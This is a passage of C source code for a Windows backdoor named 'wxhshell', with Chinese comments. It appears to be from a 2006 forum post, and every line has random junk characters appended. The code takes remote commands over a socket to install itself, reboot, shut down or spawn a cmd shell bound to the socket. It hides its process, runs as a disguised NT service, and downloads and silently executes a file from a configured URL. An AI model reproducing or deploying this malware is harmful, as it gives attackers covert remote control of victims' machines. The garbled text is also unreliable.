xfQ;5n  
    switch(cmd[0]) { ` Z V'7|  
  {"AYOc>2|  
  // 帮助 :H:}t>X6Vo  
  case '?': { /*2W?ZM~H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^ /eSby  
    break; |2` $g  
  } 6 FxndR;  
  // 安装 KFG^vmrn  
  case 'i': { UdgI<a~`k6  
    if(Install()) j|8{Vyqd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE.s  
    else d"uM7PMs7x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 05zdy-Fb  
    break; TbM*?\7  
    } `.Q3s?1F  
  // 卸载 } j@@  
  case 'r': { \>k#]4@rp  
    if(Uninstall()) |L-juT X9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (D3m5fO  
    else l zkn B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ybiz]1d  
    break; A^7Zy79  
    } %cjav  
  // 显示 wxhshell 所在路径 l_IX+4(@b|  
  case 'p': { 9e*poG  
    char svExeFile[MAX_PATH]; aV#;o9H{  
    strcpy(svExeFile,"\n\r"); 9cPucKuj  
      strcat(svExeFile,ExeFile); hpKc_|un  
        send(wsh,svExeFile,strlen(svExeFile),0); :WTvP$R  
    break; oQB1fs  
    } 'B:De"_(N  
  // 重启 SvJ8Kl OV  
  case 'b': { +/8?+1E ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O3GaxM \x  
    if(Boot(REBOOT)) UZ0O j5B.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+PM_c)Y  
    else { OtqLigt&l  
    closesocket(wsh); !-Q!/?  
    ExitThread(0); uT2cHzqKB  
    } ;8kfgp M_  
    break; )Em,3I/.l  
    } o : DnZN  
  // 关机 Li$k<AM  
  case 'd': { 'v)+S;oB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gvt4'kp  
    if(Boot(SHUTDOWN)) 0kEq|k9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ur5n{0#  
    else { +6E<+-N  
    closesocket(wsh); o?8j *]  
    ExitThread(0); g-uFss  
    } ee\zU~  
    break; *Y?]="8c#;  
    } f 8U;T$)  
  // 获取shell >u[ln@ l  
  case 's': { DzOJ{dF  
    CmdShell(wsh); :fUmMta  
    closesocket(wsh); SX8%F:<.  
    ExitThread(0); M" \y2   
    break; |,f6c Om f  
  } D]_\i[x  
  // 退出 Ps-d#~4U;  
  case 'x': { EFOQ;q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @35]IxD  
    CloseIt(wsh); `/iN%ZKum  
    break; AIo;\35  
    } |%9~W^b  
  // 离开 J#nEGl|a  
  case 'q': { $o^}<)DW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m8`A~  
    closesocket(wsh); 1 crjRbi  
    WSACleanup(); Xb;`WE gC  
    exit(1); 3N\X{za  
    break; ?!vW&KJZx  
        } rbWFq|(_  
  } 1yf&ck1R  
  } H[oi? {L  
3<lDsb(}0A  
  // 提示信息 yV`vu/3K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fTcRqov  
} @UBp;pb}=h  
  } ;T(^riAEl  
b`=rd 4cpU  
  return; ,+{ 43;a  
} 2/WXdo  
? 'nMZ  
// shell模块句柄 :W55JD'  
int CmdShell(SOCKET sock) 5$w1[}UUd  
{ 0eIR)#j*  
STARTUPINFO si; CQ ?|=cN  
ZeroMemory(&si,sizeof(si)); fW`F^G1R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J0o[WD$A x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U[u6UG  
PROCESS_INFORMATION ProcessInfo; _l<"Qqt  
char cmdline[]="cmd"; PV Q%y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bSzb! hT`  
  return 0; `WL*Jb  
} ?,[w6O*  
ujBADDwOg)  
// 自身启动模式 uWQ.h ,  
int StartFromService(void) p`0Tpgi  
{ B7C6Mau  
typedef struct Pd?YS!+S  
{ <z PyID`  
  DWORD ExitStatus; s,= ^V/c  
  DWORD PebBaseAddress; 7va%-&.&t  
  DWORD AffinityMask; >@o*v*25  
  DWORD BasePriority; .l!Z=n|  
  ULONG UniqueProcessId; TY}?>t+  
  ULONG InheritedFromUniqueProcessId; hCrgN?M z  
}   PROCESS_BASIC_INFORMATION; Urr1 K)  
_L ].n)b  
PROCNTQSIP NtQueryInformationProcess; M~4!gKs  
7;V5hul  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "`wq:$R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G<I5%Yo6G  
aY~IS?! ;  
  HANDLE             hProcess; NgQl;$  
  PROCESS_BASIC_INFORMATION pbi; w6tY6bf}  
SQ[}]Tm;n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }#1{GhsS  
  if(NULL == hInst ) return 0; hB4.tMgZ  
bBf+z7iyc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;DOz92X94  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TfOZ>uR"g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %]` WsG  
'_%Jw:4k  
  if (!NtQueryInformationProcess) return 0; 1Ppzch7  
P:o<kRj1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  E7,\s   
  if(!hProcess) return 0; P#C`/%$S  
*Bj G3Jc5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q]aRJ`9f  
[S%  
  CloseHandle(hProcess); gkjZX wp  
&DV'%h>i=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9cQSS'`F  
if(hProcess==NULL) return 0; hG U &C]  
:d;5Q\C`  
HMODULE hMod; }% =P(%-  
char procName[255]; RL%{VE  
unsigned long cbNeeded; gV c[`( @h  
@ NF8?>!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,^(T^ -  
:zCm$@  
  CloseHandle(hProcess); K:0RP?L  
VQCPgs  
if(strstr(procName,"services")) return 1; // 以服务启动 oj/tim  
JmK+#o  
  return 0; // 注册表启动 >Y:ouN~<  
} Qj~0vx!  
j(SQNSFD  
// 主模块 T"z!S0I  
int StartWxhshell(LPSTR lpCmdLine) TCYnErqk  
{ T'XRl@  
  SOCKET wsl; cb+!H>+  
BOOL val=TRUE; ^ZsME,  
  int port=0; :p{iBDA  
  struct sockaddr_in door; $KiA~l  
o8" [6Ys  
  if(wscfg.ws_autoins) Install(); H/b(dbs  
.C1^QY-wL  
port=atoi(lpCmdLine); } E=mZZ)  
lIf Our  
if(port<=0) port=wscfg.ws_port; j6\{j#q  
I%ez_VG  
  WSADATA data; Lh+^GQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]KfHuYjM  
,Ya&M@^Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pD]Ry" ZG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?TXFOr]g]2  
  door.sin_family = AF_INET; b~|B(lL6Xm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  j>6{PDaT  
  door.sin_port = htons(port); Qcw/>LaL:  
mr*zl*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \+,jM6l}-  
closesocket(wsl); BKIt,7j  
return 1; n4:WM+f4  
} 27MgwX NQ  
%VdJ<=@  
  if(listen(wsl,2) == INVALID_SOCKET) { d+bTRnL  
closesocket(wsl); ZK;HW  
return 1; sU`#d  
} fhC=MJ @  
  Wxhshell(wsl); fF9vV. }  
  WSACleanup(); 'HC4Q{b`  
4fN<pG,  
return 0; jQc0_F\  
m^ILcp!  
} i^n&K:6  
{{O1C ~  
// 以NT服务方式启动 =IUTU4!]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V'9 k;SF  
{ 6PTD%Rf\  
DWORD   status = 0; :!R+/5a  
  DWORD   specificError = 0xfffffff; ,e;(\t:  
3 -5^$-7_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; al5?w{us  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R4o_zwWgPw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / og'W j  
  serviceStatus.dwWin32ExitCode     = 0; X<1# )xC  
  serviceStatus.dwServiceSpecificExitCode = 0; #R)$nv:h?^  
  serviceStatus.dwCheckPoint       = 0; {C<ch@sR  
  serviceStatus.dwWaitHint       = 0; L.8-nTg"y  
s)-=l _4T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <EE)d@%>v  
  if (hServiceStatusHandle==0) return; %9M_ * ]  
2nw P-i  
status = GetLastError(); (j'[t  
  if (status!=NO_ERROR) .rS0zU  
{ {RzlmDStV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <$UY{"?  
    serviceStatus.dwCheckPoint       = 0; O|8p #  
    serviceStatus.dwWaitHint       = 0; rc"Z$qU?  
    serviceStatus.dwWin32ExitCode     = status; `InS8PLr  
    serviceStatus.dwServiceSpecificExitCode = specificError; U?kJXM2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kefQH\<X  
    return; ?&N JN/+%  
  } . [C ~a  
xL mo?Y*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fFsA[@5tul  
  serviceStatus.dwCheckPoint       = 0; lc*<UZR  
  serviceStatus.dwWaitHint       = 0; aK,G6y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P2lj#aQLS  
} :imp~~L;  
E")82I  
// 处理NT服务事件,比如:启动、停止 GU_R6Wt+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -{ZRk[>Z  
{ VG)kPKoi  
switch(fdwControl) .aNy)Yu8  
{ l2$6ojpo  
case SERVICE_CONTROL_STOP: O)W1.]GMbf  
  serviceStatus.dwWin32ExitCode = 0; dC)@v]#h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GUMO;rZs  
  serviceStatus.dwCheckPoint   = 0;  snX5mD  
  serviceStatus.dwWaitHint     = 0; z0c_&@uj*  
  { 8)T.[AP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >R :Bkf-  
  } O[$ &]>x]]  
  return; 8E|S`I  
case SERVICE_CONTROL_PAUSE: `|I h"EZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wVp  
  break; @dw0oRF  
case SERVICE_CONTROL_CONTINUE: h\jwXMi,tj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z`'{l {  
  break; @'dtlY5;  
case SERVICE_CONTROL_INTERROGATE: I>:M1Yc0  
  break; f~t*8rG~m  
}; b1_HDC(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lLl^2[4k5  
} =`u4xa#m  
gLU #\d]  
// 标准应用程序主函数 PY~cu@'k{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .I<#i9Le  
{ |s=)*DZv  
c?IFI   
// 获取操作系统版本 r;SA1n#  
OsIsNt=GetOsVer(); r65/O5F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dy`K5lC@  
Q`'w)aV  
  // 从命令行安装 HOBM?|37CU  
  if(strpbrk(lpCmdLine,"iI")) Install(); 83e{rcs  
^pIT,|myY7  
  // 下载执行文件 1r'skmxq  
if(wscfg.ws_downexe) { ?u/RQ 1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U TC|8  
  WinExec(wscfg.ws_filenam,SW_HIDE); cl/}PmYIZ  
} c/%i,N\5  
4:WN-[xX  
if(!OsIsNt) { z^'3f!:3  
// 如果时win9x,隐藏进程并且设置为注册表启动 OLg=kF[[  
HideProc(); $GB/}$fd&  
StartWxhshell(lpCmdLine); rzsAnLxo  
} kzcl   
else `2.[8%6  
  if(StartFromService()) ^Cs?FF@P  
  // 以服务方式启动 BUvE~l.,|  
  StartServiceCtrlDispatcher(DispatchTable); ^`?2g[AA  
else Xt& rYv  
  // 普通方式启动 { )=h  
  StartWxhshell(lpCmdLine); L"e8S%UqX  
*.qm+#8W  
return 0; mO%F {'  
}
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只看该作者 1 发表于: 2006-10-10
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